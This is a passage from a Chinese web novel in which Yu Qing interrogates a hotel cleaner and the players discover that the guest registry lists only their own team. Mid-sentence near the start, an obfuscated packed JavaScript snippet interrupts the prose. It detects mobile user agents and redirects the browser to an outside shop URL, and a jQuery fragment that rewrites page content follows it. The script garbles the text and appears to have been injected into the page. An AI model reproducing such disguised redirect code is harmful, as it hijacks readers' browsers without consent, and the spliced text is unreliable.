“谁让你这么干的?”虞青钳着他的喉咙,居高临下。 保洁正要开口,忽然死死抿住唇。他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495565|201573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 急得眼珠暴突,却一个字都说不出来。嘴唇像被人用针线缝起来般,变得古怪。 就像是突然被某种力量阻拦住,不准他说出来。 虞青歪头看着他古怪的嘴,冷声说:“我其实可以帮你扯开。” 保洁登时更害怕了,从唇缝里竭力憋出一句:“客人,一个客人!” 虞青蹙眉道:“名字。” “我不知道,我不知道。”黑皮保洁不知是被掐的还是被吓的,眼神甚至都涣散了,他用气声艰难地说,“前台登记过名字,我没看,我真的不知道。” “前台?”虞青转头看向门外。 三个K只是被那目光一扫而过,就窜起来说:“我查!我去查!我刚好会这个。” 纯没礼貌:“……” 不是? 三个K冲到前台时,那个浮肿的中年男人正面无表情地盯着面前的屏幕,光映着他的脸,透着死气沉沉的白。 三个K一个急刹:“你、你起开!” 中年男人掏了掏耳朵:“什么玩意儿?” 三个K:“……请问你能起开一下吗?” “你有毛病?” 三个K刚撑起的气焰又败下来:“那你能告诉我酒店里现在住着哪些客人吗?有点急事。” 中年男人翻了个白眼:“不能。” 男人话音刚落,就听“咣当”一声响! 虞青把那黝黑男人拖出休息室,把他脑袋重重摁在了前台桌上。 前台吓得蹦一大跳! 他跟被压着的保洁大脸瞪小眼,面面相觑好几秒,又盯着三个K他们的方向,挣扎了几次,终于默默起开。 虞青冲三个K一抬下巴:“去。” 三个K简直想回他一声:“嗻。” 他一脸忐忑坐到前台的位置上,调出了管理系统。 纯没礼貌小声问:“你怎么突然支棱了?真会啊?” 三个K:“惭愧惭愧,我大学学的酒店管理,实习用过这些东西。” 前台的员工账号没有登出,他刚好借用,能查个清楚。 但当他把客房登记界面调出来时,却愣住了:“……怎么回事?这不对吧?” 虞青不爱听这种没头没尾的话:“讲清楚。” 三个K点了一下屏幕翻转,那个登记界面便清楚展现在虞青眼前。 表格上有着大面积的空白,其中有名字和实时声纹的只有寥寥几间。 三个K表情空白,说:“客人只有我们几个。” 除了已经死去的辣汤大老爷,整个表格上的客人明明白白只有四个: ^^、三个K、纯没礼貌、寿司吧。 总嚷着自己是游戏老鸟的三个K,神色逐渐紧张起来:“其实有些游戏初期,玩家有时会匹配到‘人机’,假如套上这个逻辑,咱们这个队伍里也有游戏里的人呢?” 他搓了搓鸡皮疙瘩,一抬头,看见虞青冷肃的眼眸,似乎在认真理解他说的话,但也没有表示出异议。 三个K心说完犊子,刚刚那段话乍一听像在内涵这位“队友”。 他想了想,找补道:“万一,我是说万一咱们这队里,混了一位副本故事里的凶手呢?” 纯没礼貌似乎被他的想法震到了,缩了缩脖颈,轻声道:“难道……你是说那个一直在当独狼的寿司吧吗?”